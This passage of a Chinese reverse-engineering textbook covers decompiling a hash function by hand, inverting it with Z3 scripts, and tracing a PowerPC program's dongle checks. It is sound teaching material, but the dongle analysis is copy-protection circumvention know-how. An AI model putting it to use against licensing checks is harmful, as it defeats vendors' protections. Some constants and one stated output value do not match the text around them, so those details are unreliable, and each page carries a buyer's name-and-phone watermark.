为什么扫雷游戏里有边界字节 0x10?既然程序不会显示这些数据,那么为何还要保留这些数据? 去除这些边界字节会发生什么情况?  棋盘上的每个点可被赋予不同的值,以表示“被点击过”“被用户插上棋子”等信息。请找出各个 值的具体涵义。  请修改本章的最后一个程序,让它以固定的格局分布地雷。  请修改本章的最后一个程序,使它在没有 PDB 文件、也不使用预定地址的情况下,自动导出地 雷分布图。在扫雷程序运行期间,程序可以在数据段里自动地找到棋盘数据。有关信息可参见 附录 G.5.1。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7777 章 章 人 人工 工反 反编 编译 译与 与 ZZ33 SSM MTT 求 求解 解法 法 非专业的密码算法通常都很脆弱。如果密码学专家出手,这些算法将不堪一击。不过,即使密码学专 业人士的帮忙,逆向工程分析人员同样可破解密码。 我曾经遇到过一个把 64 位数据转换为另一种数据的单向函数 ① 77.1 人工反编译 。那时,我们要把hash值还原为原始数据。 在 IDA 中,程序的具体指令如下: sub_401510 proc near ; ECX = input mov rdx, 5D7E0D1F2E0F1F84h mov rax, rcx ; input imul rax, rdx mov rdx, 388D76AEE8CB1500h mov ecx, eax and ecx, 0Fh ror rax, cl xor rax, rdx mov rdx, 0D2E9EE7E83C4285Bh mov ecx, eax and ecx, 0Fh rol rax, cl lea r8, [rax+rdx] mov rdx, 8888888888888889h mov rax, r8 mul rdx shr rdx, 5 mov rax, rdx lea rcx, [r8+rdx*4] shl rax, 6 sub rcx, rax mov rax, r8 rol rax, cl ; EAX = output retn sub_401510 endp ECX 寄存器传递函数的第一个参数,由此可判断这是 GCC 编译的程序。 如果您手头没有 Hex-Rays 一类的反编译程序,或者您根本信不过这些自动化工具,那么您可以自己进 行反编译。在进行反编译时,可以把 CPU 寄存器当作 C 语言的变量,然后把汇编语言直接翻译为等效的 C 指令。例如,上述程序可反编译为: uint64_t f(uint64_t input) { uint64_t rax, rbx, rcx, rdx, r8; ecx=input; rdx=0x5D7E0D1F2E0F1F84; rax=rcx; ① 单向函数的有关概念,可参见本书第 34 章的介绍。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 77 章 人工反编译与 Z3 SMT 求解法 723 rax*=rdx; rdx=0x388D76AEE8CB1500; rax=_lrotr(rax, rax&0xF); // rotate right rax^=rdx; rdx=0xD2E9EE7E83C4285B; rax=_lrotl(rax, rax&0xF); // rotate left r8=rax+rdx; rdx=0x8888888888888889; rax=r8; rax*=rdx; rdx=rdx>>5; rax=rdx; rcx=r8+rdx*4; rax=rax<<6; rcx=rcx-rax; rax=r8 rax=_lrotl (rax, rcx&0xFF); // rotate left return rax; }; 力图谨慎的人,可以把上述代码再次编译为可执行程序。在工作方式上,它应当与最初的程序完全一致。 然后,我们根据寄存器的使用方法,整理刚才写出的 C 代码。这时就需要加倍小心、高度集中注意力, 任何细小的纰漏都可能让我们前功尽弃。 首先添加上注释、进行段落划分: uint64_t f(uint64_t input) { uint64_t rax, rbx, rcx, rdx, r8; ecx=input; rdx=0x5D7E0D1F2E0F1F84; rax=rcx; rax*=rdx; rdx=0x388D76AEE8CB1500; rax=_lrotr(rax, rax&0xF); // rotate right rax^=rdx; rdx=0xD2E9EE7E83C4285B; rax=_lrotl(rax, rax&0xF); // rotate left r8=rax+rdx; rdx=0x8888888888888889; rax=r8; rax*=rdx; // RDX here is a high part of multiplication result rdx=rdx>>5; // RDX here is division result! rax=rdx; rcx=r8+rdx*4; rax=rax<<6; rcx=rcx-rax; rax=r8 rax=_lrotl (rax, rcx&0xFF); // rotate left return rax; }; 接下来整理程序尾部的数学计算指令: uint64_t f(uint64_t input) { uint64_t rax, rbx, rcx, rdx, r8; ecx=input; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 724 逆向工程权威指南(下册) rdx=0x5D7E0D1F2E0F1F84; rax=rcx; rax*=rdx; rdx=0x388D76AEE8CB1500; rax=_lrotr(rax, rax&0xF); // rotate right rax^=rdx; rdx=0xD2E9EE7E83C4285B; rax=_lrotl(rax, rax&0xF); // rotate left r8=rax+rdx; rdx=0x8888888888888889; rax=r8; rax*=rdx; // RDX here is a high part of multiplication result rdx=rdx>>5; // RDX here is division result! rax=rdx; rcx=(r8+rdx*4)-(rax<<6); rax=r8 rax=_lrotl (rax, rcx&0xFF); // rotate left return rax; }; 根据乘法因子的特点,我们应能判断出程序是通过乘法指令等效实现的除法运算。 ① ① 可参见本书第 41 章。 因此,我们可以使 用Wolfram Mathematica来计算除数。 指令清单 77.1 Wolfram Mathematica In[1]:=N[2^(64 + 5)/16^^8888888888888889] Out[1]:=60. 那么,原始的运算指令应当是: uint64_t f(uint64_t input) { uint64_t rax, rbx, rcx, rdx, r8; ecx=input; rdx=0x5D7E0D1F2E0F1F84; rax=rcx; rax*=rdx; rdx=0x388D76AEE8CB1500; rax=_lrotr(rax, rax&0xF); // rotate right rax^=rdx; rdx=0xD2E9EE7E83C4285B; rax=_lrotl(rax, rax&0xF); // rotate left r8=rax+rdx; rax=rdx=r8/60; rcx=(r8+rax*4)-(rax*64); rax=r8 rax=_lrotl (rax, rcx&0xFF); // rotate left return rax; }; 整理计算指令得: uint64_t f(uint64_t input) { uint64_t rax, rbx, rcx, rdx, r8; rax=input; rax*=0x5D7E0D1F2E0F1F84; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 77 章 人工反编译与 Z3 SMT 求解法 725 rax=_lrotr(rax, rax&0xF); // rotate right rax^=0x388D76AEE8CB1500; rax=_lrotl(rax, rax&0xF); // rotate left r8=rax+0xD2E9EE7E83C4285B; rcx=r8-(r8/60)*60; rax=r8 rax=_lrotl (rax, rcx&0xFF); // rotate left return rax; }; 继续简化代码可发现,程序计算的是余数、而非商: uint64_t f(uint64_t input) { uint64_t rax, rbx, rcx, rdx, r8; rax=input; rax*=0x5D7E0D1F2E0F1F84; rax=_lrotr(rax, rax&0xF); // rotate right rax^=0x388D76AEE8CB1500; rax=_lrotl(rax, rax&0xF); // rotate left r8=rax+0xD2E9EE7E83C4285B; return _lrotl (r8, r8 % 60); // rotate left }; 最终,我们把程序转化成华丽的 C 语言代码: #include <stdio.h> #include <stdint.h> #include <stdbool.h> #include <string.h> #include <intrin.h> #define C1 0x5D7E0D1F2E0F1F84 #define C2 0x388D76AEE8CB1500 #define C3 0xD2E9EE7E83C4285B uint64_t hash(uint64_t v) { v*=C1; v=_lrotr(v, v&0xF); // rotate right v^=C2; v=_lrotl(v, v&0xF); // rotate left v+=C3; v=_lrotl(v, v % 60); // rotate left return v; }; int main() { printf ("%llu\n", hash(...)); }; 除了密码专家之外,没什么人能够根据 hash 值逆推原始数据。旋转位左/右移指令足以令人望而却步—— 它能够保证映射函数不是单满射函数,而且还保留了碰撞的可能性;说得直白一些就是“多个输入可能产生 同一个输出”。 由于这个函数采用了 64 位因子,所以暴力破解也不太现实。 77.2 Z3 SMT 求解法 在加密学知识不足的情况下,我们可以使用微软研究团队发布的Z3 工具 ① ① http://z3.codeplex.com/。 尝试破解。虽然它只是个形 异步社区会员 dearfuture(15918834820) 专享 尊重版权 726 逆向工程权威指南(下册) 式验证工具,但是我们将用它来作SMT求解。也就是说,我们要用Z3 来求解巨型方程式。 我们使用的 Python 源代码如下: 1 from z3 import * 2 3 C1=0x5D7E0D1F2E0F1F84 4 C2=0x388D76AEE8CB1500 5 C3=0xD2E9EE7E83C4285B 6 7 inp, i1, i2, i3, i4, i5, i6, outp = BitVecs('inp i1 i2 i3 i4 i5 i6 outp', 64) 8 9 s = Solver() 10 s.add(i1==inp*C1) 11 s.add(i2==RotateRight (i1, i1 & 0xF)) 12 s.add(i3==i2 ^ C2) 13 s.add(i4==RotateLeft(i3, i3 & 0xF)) 14 s.add(i5==i4 + C3) 15 s.add(outp==RotateLeft (i5, URem(i5, 60))) 16 17 s.add(outp==10816636949158156260) 18 19 print s.check() 20 m=s.model() 21 print m 22 print (" inp=0x%X" % m[inp].as_long()) 23 print ("outp=0x%X" % m[outp].as_long()) 程序的第 7 行声明了各个变量。这些都是 64 位变量。其中,i1~i6 都是中间变量(形参),在各个指 令之间传递寄存器的值。 第 10~15 行之间是我们添加的约束条件。这些条件之中,第 17 行限定的约束条件最为重要:在使用 这个函数时,我们要查找输出值为 10816636949158156260 的输入值。 本质上说,基于 SMT 的求解方法可以搜索满足全部限定条件的所有输入值。 上述程序中的 RotateRight、RotateLeft 和 URem 都是 Z3 提供的 Python API。它们都不是 Python 语言提供的 标准指令。 然后运行上述程序: ...>python.exe 1.py sat [i1 = 3959740824832824396, i3 = 8957124831728646493, i5 = 10816636949158156260, inp = 1364123924608584563, outp = 10816636949158156260, i4 = 14065440378185297801, i2 = 4954926323707358301] inp=0x12EE577B63E80B73 outp=0x961C69FF0AEFD7E4 程序输出中的“sat”是“satisfiable(满足条件的值)”的缩写。这就是说,我们的求解方法至少可以 找到一个解。程序用方括号把最终解标注了出来。屏幕输出的最后两行是用 16 进制显示的输入、输出值。 如果把 0x12EE577B63E80B73 代入原函数的输入变量,那么它的输出值与我们指定的值相符。 另外需要注意的是,因为原函数不是单满射函数,所以可能存在多个符合条件的输入值。不过,网上 公开的 Z3 SMT 求解程序只会计算出一组解。为此,我们对上面的程序稍加修改,添加了第 19 行,让程 序“探寻其他的解”: 1 from z3 import * 2 3 C1=0x5D7E0D1F2E0F1F84 4 C2=0x388D76AEE8CB1500 5 C3=0xD2E9EE7E83C4285B 6 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 77 章 人工反编译与 Z3 SMT 求解法 727 7 inp, i1, i2, i3, i4, i5, i6, outp = BitVecs('inp i1 i2 i3 i4 i5 i6 outp', 64) 8 9 s = Solver() 10 s.add(i1==inp*C1) 11 s.add(i2==RotateRight (i1, i1 & 0xF)) 12 s.add(i3==i2 ^ C2) 13 s.add(i4==RotateLeft(i3, i3 & 0xF)) 14 s.add(i5==i4 + C3) 15 s.add(outp==RotateLeft (i5, URem(i5, 60))) 16 17 s.add(outp==10816636949158156260) 18 19 s.add(inp!=0x12EE577B63E80B73) 20 21 print s.check() 22 m=s.model() 23 print m 24 print (" inp=0x%X" % m[inp].as_long()) 25 print ("outp=0x%X" % m[outp].as_long()) 这样一来,它就可以求得另一组解: ...>python.exe 2.py sat [i1 = 3959740824832824396, i3 = 8957124831728646493, i5 = 10816636949158156260, inp = 10587495961463360371, outp = 10816636949158156260, i4 = 14065440378185297801, i2 = 4954926323707358301] inp=0x92EE577B63E80B73 outp=0x961C69FF0AEFD7E4 人工排除已知解的方法不太先进。其实程序可以自动地修改约束条件,并且自行排除已知解,以便自 动化地求得所有解。自行求得全部解的程序十分精巧: 1 from z3 import * 2 3 C1=0x5D7E0D1F2E0F1F84 4 C2=0x388D76AEE8CB1500 5 C3=0xD2E9EE7E83C4285B 6 7 inp, i1, i2, i3, i4, i5, i6, outp = BitVecs('inp i1 i2 i3 i4 i5 i6 outp', 64) 8 9 s = Solver() 10 s.add(i1==inp*C1) 11 s.add(i2==RotateRight (i1, i1 & 0xF)) 12 s.add(i3==i2 ^ C2) 13 s.add(i4==RotateLeft(i3, i3 & 0xF)) 14 s.add(i5==i4 + C3) 15 s.add(outp==RotateLeft (i5, URem(i5, 60))) 16 17 s.add(outp==10816636949158156260) 18 19 # copypasted from http://stackoverflow.com/questions/11867611/z3py-checking-all-solutions-for-equation 20 result=[] 21 while True: 22 if s.check() == sat: 23 m = s.model() 24 print m[inp] 25 result.append(m) 26 # Create a new constraint the blocks the current model 27 block = [] 28 for d in m: 29 # d is a declaration 30 if d.arity() > 0: 31 raise Z3Exception("uninterpreted functions are not supported") 异步社区会员 dearfuture(15918834820) 专享 尊重版权 728 逆向工程权威指南(下册) 32 # create a constant from declaration 33 c=d() 34 if is_array(c) or c.sort().kind() == Z3_UNINTERPRETED_SORT: 35 raise Z3Exception("arrays and uninterpreted sorts are not supported") 36 block.append(c != m[d]) 37 s.add(Or(block)) 38 else: 39 print "results total=",len(result) 40 break 运行上述程序,可得: 1364123924608584563 1234567890 9223372038089343698 4611686019661955794 13835058056516731602 3096040143925676201 12319412180780452009 7707726162353064105 16931098199207839913 1906652839273745429 11130024876128521237 15741710894555909141 6518338857701133333 5975809943035972467 15199181979890748275 10587495961463360371 results total= 16 可见,总共有 16 个输入值满足条件“输出值为 0x92EE577B63E80B73”。 第二个解是 1234567890。在编写本文时,笔者使用的输入值正是这个数。 接下来,我们要更深入地讨论程序的算法。在这些解里面,有没有低 32 位与输出值的低 32 位相等的解? 为此,我们修改本章的第一个脚本程序,对第 17 行的限定条件进行修改: 1 from z3 import * 2 3 C1=0x5D7E0D1F2E0F1F84 4 C2=0x388D76AEE8CB1500 5 C3=0xD2E9EE7E83C4285B 6 7 inp, i1, i2, i3, i4, i5, i6, outp = BitVecs('inp i1 i2 i3 i4 i5 i6 outp', 64) 8 9 s = Solver() 10 s.add(i1==inp*C1) 11 s.add(i2==RotateRight (i1, i1 & 0xF)) 12 s.add(i3==i2 ^ C2) 13 s.add(i4==RotateLeft(i3, i3 & 0xF)) 14 s.add(i5==i4 + C3) 15 s.add(outp==RotateLeft (i5, URem(i5, 60))) 16 17 s.add(outp & 0xFFFFFFFF == inp & 0xFFFFFFFF) 18 19 print s.check() 20 m=s.model() 21 print m 22 print (" inp=0x%X" % m[inp].as_long()) 23 print ("outp=0x%X" % m[outp].as_long()) 上述程序证明,确实存在这种解: sat [i1 = 14869545517796235860, i3 = 8388171335828825253, i5 = 6918262285561543945, inp = 1370377541658871093, 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 77 章 人工反编译与 Z3 SMT 求解法 729 outp = 14543180351754208565, i4 = 10167065714588685486, i2 = 5541032613289652645] inp=0x13048F1D12C00535 outp=0xC9D3C17A12C00535 在此基础上,我们再添加一个约束条件——验证是否存在“最后 16 位是 0x1234”的解: 1 from z3 import * 2 3 C1=0x5D7E0D1F2E0F1F84 4 C2=0x388D76AEE8CB1500 5 C3=0xD2E9EE7E83C4285B 6 7 inp, i1, i2, i3, i4, i5, i6, outp = BitVecs('inp i1 i2 i3 i4 i5 i6 outp', 64) 8 9 s = Solver() 10 s.add(i1==inp*C1) 11 s.add(i2==RotateRight (i1, i1 & 0xF)) 12 s.add(i3==i2 ^ C2) 13 s.add(i4==RotateLeft(i3, i3 & 0xF)) 14 s.add(i5==i4 + C3) 15 s.add(outp==RotateLeft (i5, URem(i5, 60))) 16 17 s.add(outp & 0xFFFFFFFF == inp & 0xFFFFFFFF) 18 s.add(outp & 0xFFFF == 0x1234) 19 20 print s.check() 21 m=s.model() 22 print m 23 print (" inp=0x%X" % m[inp].as_long()) 24 print ("outp=0x%X" % m[outp].as_long()) 即使有如此苛刻的约束条件,程序仍然算出了一个解: sat [i1 = 2834222860503985872, i3 = 2294680776671411152, i5 = 17492621421353821227, inp = 461881484695179828, outp = 419247225543463476, i4 = 2294680776671411152, i2 = 2834222860503985872] inp=0x668EEC35F961234 outp=0x5D177215F961234 Z3 函数的破解速度非常快。这说明原始算法十分脆弱,根本算不上加密算法。业余人员自制的算法多 数都是这样。 这种方法是否可以破解那些真正专业的加密算法呢?虽然像 AES、RSA 这样的加密算法都同样属于大 规模方程组,但是其计算规模非常之大,以至于未来几年的计算机系统都不可能对其进行破解。当然,加 密学专家非常清楚这件事。 总而言之,SMT/SAT 求解程序(例如 Z3)可以处理非专业的加密算法。 另外,我还写过一篇与 Z3 有关的博客。有兴趣的读者可查阅参考文献[Yur12]。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7788 章 章 加 加 密 密 狗 狗 78.1 例 1:PowerPC 平台的 MacOS Classic 程序 本例研究的是一款运行在 PowerPC 平台上的 MacOS Classic 程序。研发这款程序的公司早已经不知去向, 所以买家十分害怕加密狗出什么意外。 在不插入加密狗的情况下,程序会显示“Invalid Security Device”信息。非常幸运的是,这个字符串就 在程序的可执行文件里。 虽然那时我即不熟悉 Mac OS Classic 系统,也没怎么用过 PowerPC,但是还是放手一搏。 IDA 可以毫无困难地打开这个程序。它判断该文件类型为“PEF (Mac OS or Be OS executable)”。标准 的 Mac OS Classic 的程序文件的确采用了这种文件格式。 接下来,在文件里搜索错误信息的字符串时,我找到了下述指令: ... seg000:000C87FC 38 60 00 01 li %r3, 1 seg000:000C8800 48 03 93 41 bl check1 seg000:000C8804 60 00 00 00 nop seg000:000C8808 54 60 06 3F clrlwi. %r0, %r3, 24 seg000:000C880C 40 82 00 40 bne OK seg000:000C8810 80 62 9F D8 lwz %r3, TC_aInvalidSecurityDevice ... 这些都是 PowerPC 平台的指令。这款 CPU 是 20 世纪 90 年代出产的一款典型的 32 位 RISC CPU。它 的每条指令都占用 4 个字节(与 MIPS 和 ARM 的指令相似),指令名称还与 MIPS 指令相似。 为了便于演示,我把函数名称改为 check1()。BL 是 Brach Link 指令,常用于调用子函数。上述程序的关 键点是 BNE 指令,在程序通过了加密狗认证的情况下进行跳转,否则就会在 r3 寄存器里加载字符串,然后 报错。 在参阅了参考文献[SK95]之后,我发现 r3 寄存器用于存储返回值。如果返回值是 64 位数据,那么 r4 寄存器也会用于回传返回值。 另外,CLRLWI指令 ① ① CLRLWI 是 Clear left word immediate 的缩写,用于清除指定的高/前 n 位,再把结果复制到目标操作符。 还是当时的盲点。后来我阅读了参考文献[IBM00],获悉它是清除和传递数据 的复合指令。本例的这个指令会清除r3 寄存器的高 24 位,把结果存储在r0 寄存器里。所以,它不仅相当于x86 的MOVZX指令(可参见本书 15.1.1 节),而且还能设置相应标识位,向后面的BNE指令传递标识信息。 接下来,我们探索一下 check 1()函数: seg000:00101B40 check1: # CODE XREF: seg000:00063E7Cp seg000:00101B40 # sub_64070+160p ... seg000:00101B40 seg000:00101B40 .set arg_8, 8 seg000:00101B40 seg000:00101B40 7C 08 02 A6 mflr %r0 seg000:00101B44 90 01 00 08 stw %r0, arg_8(%sp) seg000:00101B48 94 21 FF C0 stwu %sp, -0x40(%sp) seg000:00101B4C 48 01 6B 39 bl check2 seg000:00101B50 60 00 00 00 nop 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 731 seg000:00101B54 80 01 00 48 lwz %r0, 0x40+arg_8(%sp) seg000:00101B58 38 21 00 40 addi %sp, %sp, 0x40 seg000:00101B5C 7C 08 03 A6 mtlr %r0 seg000:00101B60 4E 80 00 20 blr seg000:00101B60 # End of function check1 在 IDA 中,我们可以清楚地观察到:虽然程序的多个指令都调用了这个函数,但是调用方函数在调用 结束之后只访问了 r3 寄存器的值。这个函数只起到调用其他函数的功能,因此它就是形实转换函数:即使 函数序言和函数尾声都十分完整,但是对 r3 寄存器完全没有操作。据此判断,check1()函数的返回值与 check() 函数一致。 BLR指令 ① ① BLR 是 Branch to Link Register 的缩写。 似乎是函数返回语句,可作为划分函数模块的标识。但是IDA能够识别并划分函数体,因 此我们可以先不管它。由于本程序采用的是RISC(精简指令集)指令,调用方函数会通过链接寄存器(Link Register)向被调用方函数传递返回地址。就这些特征来看,PowerPC的程序与ARM程序有很多共同点。 check2()函数略为复杂: seg000:00118684 check2: # CODE XREF: check1+Cp seg000:00118684 seg000:00118684 .set var_18, -0x18 seg000:00118684 .set var_C, -0xC seg000:00118684 .set var_8, -8 seg000:00118684 .set var_4, -4 seg000:00118684 .set arg_8, 8 seg000:00118684 seg000:00118684 93 E1 FF FC stw %r31, var_4(%sp) seg000:00118688 7C 08 02 A6 mflr %r0 seg000:0011868C 83 E2 95 A8 lwz %r31, off_1485E8 # dword_24B704 seg000:00118690 .using dword_24B704, %r31 seg000:00118690 93 C1 FF F8 stw %r30, var_8(%sp) seg000:00118694 93 A1 FF F4 stw %r29, var_C(%sp) seg000:00118698 7C 7D 1B 78 mr %r29, %r3 seg000:0011869C 90 01 00 08 stw %r0, arg_8(%sp) seg000:001186A0 54 60 06 3E clrlwi %r0, %r3, 24 seg000:001186A4 28 00 00 01 cmplwi %r0, 1 seg000:001186A8 94 21 FF B0 stwu %sp, -0x50(%sp) seg000:001186AC 40 82 00 0C bne loc_1186B8 seg000:001186B0 38 60 00 01 li %r3, 1 seg000:001186B4 48 00 00 6C b exit seg000:001186B8 seg000:001186B8 loc_1186B8: # CODE XREF: check2+28j seg000:001186B8 48 00 03 D5 bl sub_118A8C seg000:001186BC 60 00 00 00 nop seg000:001186C0 3B C0 00 00 li %r30, 0 seg000:001186C4 seg000:001186C4 skip: # CODE XREF: check2+94j seg000:001186C4 57 C0 06 3F clrlwi. %r0, %r30, 24 seg000:001186C8 41 82 00 18 beq loc_1186E0 seg000:001186CC 38 61 00 38 addi %r3, %sp, 0x50+var_18 seg000:001186D0 80 9F 00 00 lwz %r4, dword_24B704 seg000:001186D4 48 00 C0 55 bl .RBEFINDNEXT seg000:001186D8 60 00 00 00 nop seg000:001186DC 48 00 00 1C b loc_1186F8 seg000:001186E0 seg000:001186E0 loc_1186E0: # CODE XREF: check2+44j seg000:001186E0 80 BF 00 00 lwz %r5, dword_24B704 seg000:001186E4 38 81 00 38 addi %r4, %sp, 0x50+var_18 seg000:001186E8 38 60 08 C2 li %r3, 0x1234 seg000:001186EC 48 00 BF 99 bl .RBEFINDFIRST seg000:001186F0 60 00 00 00 nop seg000:001186F4 3B C0 00 01 li %r30, 1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 732 逆向工程权威指南(下册) seg000:001186F8 seg000:001186F8 loc_1186F8: # CODE XREF: check2+58j seg000:001186F8 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:001186FC 41 82 00 0C beq must_jump seg000:00118700 38 60 00 00 li %r3, 0 # error seg000:00118704 48 00 00 1C b exit seg000:00118708 seg000:00118708 must_jump: # CODE XREF: check2+78j seg000:00118708 7F A3 EB 78 mr %r3, %r29 seg000:0011870C 48 00 00 31 bl check3 seg000:00118710 60 00 00 00 nop seg000:00118714 54 60 06 3F clrlwi. %r0,%r3, 24 seg000:00118718 41 82 FF AC beq skip seg000:0011871C 38 60 00 01 li %r3, 1 seg000:00118720 seg000:00118720 exit: # CODE XREF: check2+30j seg000:00118720 # check2+80j seg000:00118720 80 01 00 58 lwz %r0, 0x50+arg_8(%sp) seg000:00118724 38 21 00 50 addi %sp, %sp, 0x50 seg000:00118728 83 E1 FF FC lwz %r31, var_4(%sp) seg000:0011872C 7C 08 03 A6 mtlr %r0 seg000:00118730 83 C1 FF F8 lwz %r30, var_8(%sp) seg000:00118734 83 A1 FF F4 lwz %r29, var_C(%sp) seg000:00118738 4E 80 00 20 blr seg000:00118738 # End of function check2 因为可执行文件保留了部分函数名称,所以分析的难度并非很高。例如,程序文件里有.RBEFINDNEXT() 和 .RBEFINDFIRST()等函数名。这可能是编译器留下的调试符号。虽然无法确定这种情况的具体原因,但 是在不了解文件格式的情况下,我们可以参考与之类似的 PE 文件格式(可参考 68.2.7 节)。而这些函数最 终都调用了.GetNextDeviceViaUSB()函数和.USBSendPKT()函数。从函数名称可以判断,它们都是访问 USB 加密狗的函数。 程序里甚至还直接调用了.GetNextEve3Device()函数。这个函数在 20 世纪 90 年代就非常著名。程序往 往通过这个函数访问 Mac 设备上的 ADB 口,最终访问 Sentinel Eve3 加密狗。 我们首先要把其他问题搁置一边,重点关注 r3 寄存器在函数返回前的赋值过程。在分析前面的指令时, 我们已经知道,如果 r3 寄存器的值为零,那么程序将转向错误提示信息的信息窗口;所以,我们关注的是 对 r3 寄存器进行非零赋值的指令。 上述程序中,有两条“li %r3,{非零值}”指令,有一条“li %r3, 0”指令。LI 是 Load Immediate 的缩 写,可见 li 指令的作用是“令寄存器加载立即数”。第一条指令的地址是 0x001186B0。坦白地讲,如果要 了解它的具体作用,还需要进一步学习 PowerPC 平台的汇编语言。 然而下一处简明易懂。它调用.RBEFINDFIRST()函数。如果函数验证失败,则 r3 的值为 0,程序将跳 转到 exit(退出);否则,继续调用 check3()函数。如果 check3()函数的验证失败,那么程序将调 用.RBEFINDNEXT()函数,大概是检测下一个 USB 口的意思吧。 前文我们介绍过“clrlwi %r0, %r3, 16”的具体功能了。要注意的是,它清除的是 16 位数据。这就代表 着.REBFINDFIRST()函数的返回值多半也是 16 位数据。 此外,B(branch)指令是无条件转移指令,BEQ 的触发条件和 BNE 相反。这些指令就不再介绍了。 下面来分析 check3()函数: ` seg000:0011873C check3: # CODE XREF: check2+88p seg000:0011873C seg000:0011873C .set var_18, -0x18 seg000:0011873C .set var_C, -0xC seg000:0011873C .set var_8, -8 seg000:0011873C .set var_4, -4 seg000:0011873C .set arg_8, 8 seg000:0011873C seg000:0011873C 93 E1 FF FC stw %r31, var_4(%sp) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 733 seg000:00118740 7C 08 02 A6 mflr %r0 seg000:00118744 38 A0 00 00 li %r5, 0 seg000:00118748 93 C1 FF F8 stw %r30, var_8(%sp) seg000:0011874C 83 C2 95 A8 lwz %r30, off_1485E8 # dword_24B704 seg000:00118750 .using dword_24B704, %r30 seg000:00118750 93 A1 FF F4 stw %r29, var_C(%sp) seg000:00118754 3B A3 00 00 addi %r29, %r3, 0 seg000:00118758 38 60 00 00 li %r3, 0 seg000:0011875C 90 01 00 08 stw %r0, arg_8(%sp) seg000:00118760 94 21 FF B0 stwu %sp, -0x50(%sp) seg000:00118764 80 DE 00 00 lwz %r6, dword_24B704 seg000:00118768 38 81 00 38 addi %r4, %sp, 0x50+var_18 seg000:0011876C 48 00 C0 5D bl .RBEREAD seg000:00118770 60 00 00 00 nop seg000:00118774 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:00118778 41 82 00 0C beq loc_118784 seg000:0011877C 38 60 00 00 li %r3, 0 seg000:00118780 48 00 02 F0 b exit seg000:00118784 seg000:00118784 loc_118784: # CODE XREF: check3+3Cj seg000:00118784 A0 01 00 38 lhz %r0, 0x50+var_18(%sp) seg000:00118788 28 00 04 B2 cmplwi %r0, 0x1100 seg000:0011878C 41 82 00 0C beq loc_118798 seg000:00118790 38 60 00 00 li %r3, 0 seg000:00118794 48 00 02 DC b exit seg000:00118798 seg000:00118798 loc_118798: # CODE XREF: check3+50j seg000:00118798 80 DE 00 00 lwz %r6, dword_24B704 seg000:0011879C 38 81 00 38 addi %r4, %sp, 0x50+var_18 seg000:001187A0 38 60 00 01 li %r3, 1 seg000:001187A4 38 A0 00 00 li %r5, 0 seg000:001187A8 48 00 C0 21 bl .RBEREAD seg000:001187AC 60 00 00 00 nop seg000:001187B0 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:001187B4 41 82 00 0C beq loc_1187C0 seg000:001187B8 38 60 00 00 li %r3, 0 seg000:001187BC 48 00 02 B4 b exit seg000:001187C0 seg000:001187C0 loc_1187C0: # CODE XREF: check3+78j seg000:001187C0 A0 01 00 38 lhz %r0, 0x50+var_18(%sp) seg000:001187C4 28 00 06 4B cmplwi %r0, 0x09AB seg000:001187C8 41 82 00 0C beq loc_1187D4 seg000:001187CC 38 60 00 00 li %r3, 0 seg000:001187D0 48 00 02 A0 b exit seg000:001187D4 seg000:001187D4 loc_1187D4: # CODE XREF: check3+8Cj seg000:001187D4 4B F9 F3 D9 bl sub_B7BAC seg000:001187D8 60 00 00 00 nop seg000:001187DC 54 60 06 3E clrlwi %r0, %r3, 24 seg000:001187E0 2C 00 00 05 cmpwi %r0, 5 seg000:001187E4 41 82 01 00 beq loc_1188E4 seg000:001187E8 40 80 00 10 bge loc_1187F8 seg000:001187EC 2C 00 00 04 cmpwi %r0, 4 seg000:001187F0 40 80 00 58 bge loc_118848 seg000:001187F4 48 00 01 8C b loc_118980 seg000:001187F8 seg000:001187F8 loc_1187F8: # CODE XREF: check3+ACj seg000:001187F8 2C 00 00 0B cmpwi %r0, 0xB seg000:001187FC 41 82 00 08 beq loc_118804 seg000:00118800 48 00 01 80 b loc_118980 seg000:00118804 seg000:00118804 loc_118804: # CODE XREF: check3+C0j seg000:00118804 80 DE 00 00 lwz %r6, dword_24B704 seg000:00118808 38 81 00 38 addi %r4, %sp, 0x50+var_18 异步社区会员 dearfuture(15918834820) 专享 尊重版权 734 逆向工程权威指南(下册) seg000:0011880C 38 60 00 08 li %r3, 8 seg000:00118810 38 A0 00 00 li %r5, 0 seg000:00118814 48 00 BF B5 bl .RBEREAD seg000:00118818 60 00 00 00 nop seg000:0011881C 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:00118820 41 82 00 0C beq loc_11882C seg000:00118824 38 60 00 00 li %r3, 0 seg000:00118828 48 00 02 48 b exit seg000:0011882C seg000:0011882C loc_11882C: # CODE XREF: check3+E4j seg000:0011882C A0 01 00 38 lhz %r0, 0x50+var_18(%sp) seg000:00118830 28 00 11 30 cmplwi %r0, 0xFEA0 seg000:00118834 41 82 00 0C beq loc_118840 seg000:00118838 38 60 00 00 li %r3, 0 seg000:0011883C 48 00 02 34 b exit seg000:00118840 seg000:00118840 loc_118840: # CODE XREF: check3+F8j seg000:00118840 38 60 00 01 li %r3, 1 seg000:00118844 48 00 02 2C b exit seg000:00118848 seg000:00118848 loc_118848: # CODE XREF: check3+B4j seg000:00118848 80 DE 00 00 lwz %r6, dword_24B704 seg000:0011884C 38 81 00 38 addi %r4, %sp, 0x50+var_18 seg000:00118850 38 60 00 0A li %r3, 0xA seg000:00118854 38 A0 00 00 li %r5, 0 seg000:00118858 48 00 BF 71 bl .RBEREAD seg000:0011885C 60 00 00 00 nop seg000:00118860 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:00118864 41 82 00 0C beq loc_118870 seg000:00118868 38 60 00 00 li %r3, 0 seg000:0011886C 48 00 02 04 b exit seg000:00118870 seg000:00118870 loc_118870: # CODE XREF: check3+128j seg000:00118870 A0 01 00 38 lhz %r0, 0x50+var_18(%sp) seg000:00118874 28 00 03 F3 cmplwi %r0, 0xA6E1 seg000:00118878 41 82 00 0C beq loc_118884 seg000:0011887C 38 60 00 00 li 